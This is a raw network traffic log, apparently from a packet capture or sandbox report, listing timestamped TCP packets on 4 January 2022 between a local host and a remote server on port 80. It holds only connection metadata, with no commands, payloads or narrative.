Jan 4, 2022 19:33:29.976931095 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.976947069 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.976959944 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977016926 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.977396965 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977431059 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977462053 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977502108 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977533102 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977580070 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977607965 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977667093 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977709055 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.977721930 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.977722883 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977778912 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977838993 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977900028 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.977900982 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.977961063 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.978018045 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.979479074 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979512930 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979552984 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979592085 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979602098 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.979614019 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.979630947 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979669094 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979707003 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979732037 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.979747057 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979749918 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.979787111 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979825974 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979863882 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979882956 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.979902983 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979917049 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.979940891 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.979979992 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.980019093 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.980041027 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.980098963 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.980101109 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.980160952 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.980221987 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.980249882 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.980277061 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.980334044 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.980375051 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.980408907 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:29.980413914 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:29.980483055 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.040369034 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040422916 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040462017 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040502071 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040513039 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.040541887 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040579081 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040587902 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.040618896 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040658951 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040697098 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040699959 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.040713072 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.040735960 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040772915 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040811062 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040816069 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.040870905 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.040873051 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040909052 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.040963888 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.041081905 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041126013 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041163921 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041178942 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.041203022 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041241884 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041274071 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.041287899 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041312933 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041352987 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041353941 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.041385889 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041418076 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.041441917 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041512012 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041528940 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.041558981 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.041610003 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.043509007 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043551922 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043591022 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043618917 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.043628931 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043669939 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043709040 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043721914 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.043749094 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043765068 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.043790102 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043826103 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043847084 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.043864965 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043904066 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043941975 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043957949 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.043979883 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.043987036 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.044029951 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.044070005 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.044109106 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.044128895 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.044147015 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.044187069 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.044202089 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.044228077 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.044241905 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.044265032 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.044303894 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.044317007 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.044342995 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.044393063 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.104362011 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104414940 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104454994 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104490995 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.104495049 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104532957 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104543924 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.104573011 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104612112 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104648113 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104660034 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.104686975 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104700089 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.104727030 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104765892 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104783058 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.104806900 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104844093 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104860067 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.104923010 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104963064 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.104973078 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105000973 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105038881 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105056047 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105081081 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105118036 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105165958 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105166912 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105186939 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105227947 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105240107 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105273962 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105293036 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105313063 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105351925 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105386972 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105390072 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105427027 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105437994 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105465889 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105496883 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105530977 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105535984 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105575085 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105586052 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105612040 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105649948 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105689049 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105715036 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105720997 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105755091 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105763912 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105788946 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105819941 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105837107 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105865002 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105866909 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.105920076 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.105973959 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106024027 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.106029987 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106089115 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106096983 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.106163979 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106223106 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106254101 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.106288910 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106329918 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106363058 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.106389999 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106437922 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106455088 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.106486082 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106524944 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106561899 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106575966 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.106606007 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106627941 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.106628895 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106679916 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.106709003 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106734991 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106802940 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.106806040 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106837988 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106868029 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106906891 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.106960058 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.106966972 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107006073 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.107028961 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107060909 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107101917 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.107101917 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107152939 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107153893 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.107222080 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107275009 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.107278109 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107336998 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107391119 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.107397079 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107449055 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107480049 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107516050 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.107518911 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107558966 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107570887 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.107603073 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107641935 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107667923 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.107681036 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107796907 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107839108 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107851028 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.107878923 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107903957 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.107918024 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107954979 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.107992887 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108007908 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.108028889 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108042955 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.108071089 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108112097 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108149052 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108153105 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.108186960 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108226061 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108239889 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.108263016 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108302116 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108329058 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.108340979 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108362913 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.108380079 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108419895 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108442068 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.108455896 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108495951 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108515024 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.108552933 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108608007 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108666897 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108670950 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.108710051 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108748913 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.108762980 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.108802080 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.171030045 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.171084881 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.171202898 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.171866894 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.171909094 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.171947002 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.171984911 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172024965 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172065973 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172086954 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172105074 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172105074 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172121048 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172142982 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172221899 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172260046 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172267914 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172305107 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172343969 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172358990 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172384977 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172420979 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172421932 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172461033 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172482967 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172499895 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172537088 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172575951 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172614098 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172622919 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172668934 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172708035 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172720909 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172745943 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172780991 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172801971 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172842026 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172854900 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172910929 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172936916 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.172951937 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.172988892 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173028946 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173069000 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173106909 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173109055 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173146009 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173185110 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173224926 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173227072 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173264980 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173304081 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173305988 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173342943 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173378944 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173382044 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173418999 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173458099 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173465014 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173491001 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173496962 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173536062 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173574924 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173588991 CET	49826	80	192.168.2.5	91.243.44.130
